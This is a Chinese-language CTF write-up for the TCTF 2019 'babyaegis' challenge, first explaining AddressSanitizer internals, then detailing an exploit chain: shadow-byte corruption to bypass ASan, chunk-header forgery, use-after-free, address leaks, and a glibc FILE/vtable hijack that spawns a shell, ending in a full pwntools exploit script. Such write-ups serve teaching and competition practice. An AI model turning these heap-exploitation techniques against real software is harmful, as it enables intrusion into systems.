Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

Learn Address Sanitizer with TCTF 2019 babyaegis

比较有趣又能学到新知识的一题。

参考论文:

AddressSanitizer: A Fast Address Sanity Checker

0x00 简介

AddressSanitizer(ASan)是一个内存错误检测工具,主要能够检测内存的非法读写、UAF等。

ASan通过Shadow Byte来记录内存空间的状态,每8字节有9个状态,分别标记从低到高Good Byte的数量。全8字节无问题为0,前7~1字节无问题分别为7~1,全部有问题标记为-1。Shadow Byte的位置通过如下计算方式得到:

1
Shadow = (Addr >> 3) + Offset

64位时,Offset为0x7fff8000;32位时,Offset为0x20000000。使用的插桩代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
byte *shadow_address = MemToShadow(address);
byte shadow_value = *shadow_address;
if (shadow_value) {
if (SlowPathCheck(shadow_value, address, kAccessSize)) {
ReportError(address, kAccessSize, kIsWrite);
}
}

// Check the cases where we access first k bytes of the qword
// and these k bytes are unpoisoned.
bool SlowPathCheck(shadow_value, address, kAccessSize) {
last_accessed_byte = (address & 7) + kAccessSize - 1;
return (last_accessed_byte >= shadow_value);
}

判断连续8字节是否可用:

1
2
3
4
5
6
*a = NULL; // give a something... or b = *a

char *shadow = (a >> 3) + Offset;
if (*shadow) {
ReportError(a);
}

N字节是否可用(N=1, 2, 4):

1
2
3
4
5
char *shadow = (a >> 3) + Offset;
if ( *shadow &&
*shadow <= ( (a & 7) + N - 1) ) {
ReportError(a);
}

ASan还具有一个特性,被释放的块不会马上被重复使用,有一个默认阈值256MB,当再被释放256MB的内存空间之后,之前被释放的内存才会被重用。

A use-after-free may not be detected if a large amount of memory has been allocated and deallocated between the “free“ and the following use.

Quarantine size (default: 256MB). This value controls the ability to find heap-use-after-free bugs (see Section 3.5). It does not affect performance

ASan中堆块的header:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct ChunkHeader {
// 1-st 8 bytes.
u32 chunk_state : 8; // Must be first.
u32 alloc_tid : 24;

u32 free_tid : 24;
u32 from_memalign : 1;
u32 alloc_type : 2;
u32 rz_log : 3;
u32 lsan_tag : 2;
// 2-nd 8 bytes
// This field is used for small sizes. For large sizes it is equal to
// SizeClassMap::kMaxSize and the actual size is stored in the
// SecondaryAllocator's metadata.
u32 user_requested_size : 29;
// align < 8 -> 0
// else -> log2(min(align, 512)) - 2
u32 user_requested_alignment_log : 3;
u32 alloc_context_id;
};

0x01 babyaegis

首先是secret()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 secret()
{
_BYTE *v0; // rax
unsigned __int64 v2; // [rsp+0h] [rbp-10h]

if ( secret_enable )
{
printf((__asan *)"Lucky Number: ");
v2 = read_ul();
if ( v2 >> 44 )
v0 = (_BYTE *)(v2 | 0x700000000000LL);
else
v0 = (_BYTE *)v2;
*v0 = 0;
secret_enable = 0;
}
else
{
puts("No secret!");
}
return __readfsqword(0x28u);
}

可以往大于0x700000000000的地址处任意写一次’\x00’。另外在add_note()函数中,会使得IDcontent相连接上,导致update_note()中的strlen()后存在堆溢出。在delete_note()中还存在USE-AFTER-FREE

由于存在溢出,首先需要做的就是欺骗ASan使得我们可以溢出到下一个chunk的header。

1
2
3
add(p, 0x10, 'sunichi!', 0x00ffffffffffffff)
update(p, 0, 'a' * 15, 0xffffffffffffff)
secret(p, 0x0c047fff8000+4)

相关标记信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
SUMMARY: AddressSanitizer: heap-buffer-overflow (/pwn/tctf2019/online/aegis/aegis/aegis+0x983ab)
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa 00 00[fa]fa 00 00 fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==126==ABORTING

在尝试的过程中发现,相关ASan代码只检查了数据写入的起始点是否可写,后续同一次操作则不会继续检查。在使用secret修改之前,我们可以看到0x0c047fff8000处开始的8字节是:

1
0xc047fff8000:  0xfa    0xfa    0x00    0x00    0xfa    0xfa    0x00    0x00

如果0x0c047fff8004处的0xfa未被修改的话,我们将无法继续溢出。因此在这使用secret()对0x0c047fff8004进行修改:

1
0xc047fff8000:  0xfa    0xfa    0x00    0x00    0x00    0xfa    0x00    0x00

接着就可以通过溢出修改下一个chunk的header了:

1
2
content = 'a' * 0x10 + '\x02' + '\xff' * 2 + '\n'
update(p, 0, content , 0x1000000002ffffff)
1
2
3
4
5
6
Old header : 
0x602000000020: 0x02ff00ffffffffff 0x7000000120000010
New header :
0x602000000020: 0x02ffffff00ffff02 0x7000000110000000
Previous 0x10 chunk header before free:
0x602000000000: 0x02ffffff00000002 0x4e80000120000010
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct ChunkHeader {
// 1-st 8 bytes.
u32 chunk_state : 8; // Must be first. // 1 byte
u32 alloc_tid : 24; // 3 byte

u32 free_tid : 24; // 3 byte
u32 from_memalign : 1; // Total: 1 byte
u32 alloc_type : 2;
u32 rz_log : 3;
u32 lsan_tag : 2;
// 2-nd 8 bytes
// This field is used for small sizes. For large sizes it is equal to
// SizeClassMap::kMaxSize and the actual size is stored in the
// SecondaryAllocator's metadata.
u32 user_requested_size : 29; // 3 byte - 3 bit
// align < 8 -> 0
// else -> log2(min(align, 512)) - 2
u32 user_requested_alignment_log : 3;
u32 alloc_context_id;
};

通过了解ASan chunk的结构,我们将下一个chunk也就是NOTE的NODE所在的chunk设置大小为0x10000000。释放NOTE[0](注意:这里释放0x10000000大小的块是为了满足ASan重用chunk的条件),并重新申请chunk和伪造NODE以后续USE-AFTER-FREE的利用,通过show_note()泄漏elf基地址:

1
2
3
4
5
6
7
delete(p, 0)
add(p, 0x10, p64(0x602000000010+8)[:7] + '\n', 0)
show(p, 0)
p.recvuntil(': ')
recv = p.recv(6)
cfi_check = u64(recv + '\x00\x00')
elf.address = cfi_check - 0x114ab0
1
2
3
4
5
6
7
0x55c729db3cc0: 0x0000602000000030      0x0000602000000010

0x602000000000: 0x02ffffff00000002 0x6d80000220000010
0x602000000010: 0x0000602000000030 0x0000556f318b7ab0
0x602000000020: 0x02ffffff00000002 0x4280000120000010
0x602000000030: 0x0000602000000018 0x0000000000000000
0x602000000040: 0x0000000000000000 0x0000000000000000

利用alarm@got泄漏glibc地址:

1
2
3
4
5
6
update(p, 1, 'aa', 0xffffffffffffffff)
update(p, 1, p64(elf.got['alarm'])[:7] + '\n', cfi_check)
show(p, 0)
p.recvuntil(': ')
recv = p.recv(6)
libc.address = u64(recv + '\x00\x00') - libc.symbols['alarm']

利用__environ泄漏栈地址:

1
2
3
4
5
6
update(p, 1, p64(libc.symbols['__environ'])[:6] + '\n', cfi_check << 8)
show(p, 0)
p.recvuntil(': ')
recv = p.recv(6)
stack_address = u64(recv + '\x00\x00')
ret_addr = stack_address - (0x7ffcb0855158 - 0x7ffcb0855008)

获取指向stdout@glibc的指针:

1
update(p, 1, p64(libc.symbols['stdout'])[:6] + '\n', (cfi_check) << 8)

构造2.27下FILE(IO_jumps)的利用:

1
2
3
4
5
6
7
vtable = libc.address + 0x3E7FB0 - 0x10 - 8 * 5
payload = p64(0x00000000fbad2800) + p64(libc.address + (0x00007f2e60b337e3 - 0x7f2e60747000)) * 6 + p64(next(libc.search('/bin/sh\x00'))) + p64(libc.address + (0x00007f2e60b337e4 - 0x7f2e60747000))
payload += p64(0) * 4 + p64(libc.address + (0x00007f2e60b32a00 - 0x7f2e60747000)) + p64(1)
payload += p64(0xffffffffffffffff) + p64(0x0000000000000000) + p64(libc.address + (0x00007f2e60b348c0 - 0x7f2e60747000))
payload += p64(0xffffffffffffffff) + p64(0)+ p64(libc.address + (0x00007f2e60b328c0 - 0x7f2e60747000))
payload += p64(0) * 3 + p64(0xffffffff) + p64(0) * 2 + p64(vtable) + p64(0) + p64(libc.symbols['system']) + '\n'
add(p, 0x100, payload, 17)

修改stdout@glibc的数据为上述payload的位置:

1
2
3
4
p.sendlineafter('Choice: ', str(3))
p.sendlineafter('Index: ', str(0))
content = p64(0x611000000040)[:6] + '\n'
p.sendafter('Content: ', content)

接着触发输出拿到shell。

完整的exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *


def add(p, size, content, id):
p.sendlineafter('Choice: ', str(1))
p.sendlineafter('Size: ', str(size))
p.sendafter('Content: ', content)
p.sendlineafter('ID: ', str(id))


def secret(p, address):
p.sendlineafter('Choice: ', str(666))
p.sendlineafter(': ', str(address))


def delete(p, idx):
p.sendlineafter('Choice: ', str(4))
p.sendlineafter('Index: ', str(idx))


def update(p, idx, content, id):
p.sendlineafter('Choice: ', str(3))
p.sendlineafter('Index: ', str(idx))
p.sendafter('Content: ', content)
p.sendlineafter('ID: ', str(id))


def show(p, idx):
p.sendlineafter('Choice: ', str(2))
p.sendlineafter('Index: ', str(idx))


def pwn():
DEBUG = 0
if DEBUG == 1:
p = process('./aegis')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('111.186.63.209', 6666)
libc = ELF('./libc-2.23.so')
elf = ELF('./aegis')

context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
context.arch = 'amd64'
context.aslr = True


add(p, 0x10, 'sunichi!', 0x00ffffffffffffff)
update(p, 0, 'a' * 15, 0xffffffffffffff)
secret(p, 0x0c047fff8000+4)
content = 'a' * 0x10 + '\x02' + '\xff' * 2 + '\n'
update(p, 0, content , 0x1000000002ffffff)
delete(p, 0)

add(p, 0x10, p64(0x602000000010+8)[:7] + '\n', 0)
show(p, 0)
p.recvuntil(': ')
recv = p.recv(6)
cfi_check = u64(recv + '\x00\x00')
elf.address = cfi_check - 0x114ab0

update(p, 1, 'aa', 0xffffffffffffffff)
update(p, 1, p64(elf.got['alarm'])[:7] + '\n', cfi_check)
show(p, 0)
p.recvuntil(': ')
recv = p.recv(6)
libc.address = u64(recv + '\x00\x00') - libc.symbols['alarm']

update(p, 1, p64(libc.symbols['__environ'])[:6] + '\n', cfi_check << 8)
show(p, 0)
p.recvuntil(': ')
recv = p.recv(6)
stack_address = u64(recv + '\x00\x00')
ret_addr = stack_address - (0x7ffcb0855158 - 0x7ffcb0855008)

update(p, 1, p64(libc.symbols['stdout'])[:6] + '\n', (cfi_check) << 8)

print hex(stack_address)
print hex(elf.address)
print hex(libc.address)

vtable = libc.address + 0x3E7FB0 - 0x10 - 8 * 5
payload = p64(0x00000000fbad2800) + p64(libc.address + (0x00007f2e60b337e3 - 0x7f2e60747000)) * 6 + p64(next(libc.search('/bin/sh\x00'))) + p64(libc.address + (0x00007f2e60b337e4 - 0x7f2e60747000))
payload += p64(0) * 4 + p64(libc.address + (0x00007f2e60b32a00 - 0x7f2e60747000)) + p64(1)
payload += p64(0xffffffffffffffff) + p64(0x0000000000000000) + p64(libc.address + (0x00007f2e60b348c0 - 0x7f2e60747000))
payload += p64(0xffffffffffffffff) + p64(0)+ p64(libc.address + (0x00007f2e60b328c0 - 0x7f2e60747000))
payload += p64(0) * 3 + p64(0xffffffff) + p64(0) * 2 + p64(vtable) + p64(0) + p64(libc.symbols['system']) + '\n'
add(p, 0x100, payload, 17)

if DEBUG == 1:
gdb.attach(p)
raw_input()

p.sendlineafter('Choice: ', str(3))
p.sendlineafter('Index: ', str(0))

content = p64(0x611000000040)[:6] + '\n'
p.sendafter('Content: ', content)

p.interactive()

p.close()


if __name__ == '__main__':
pwn()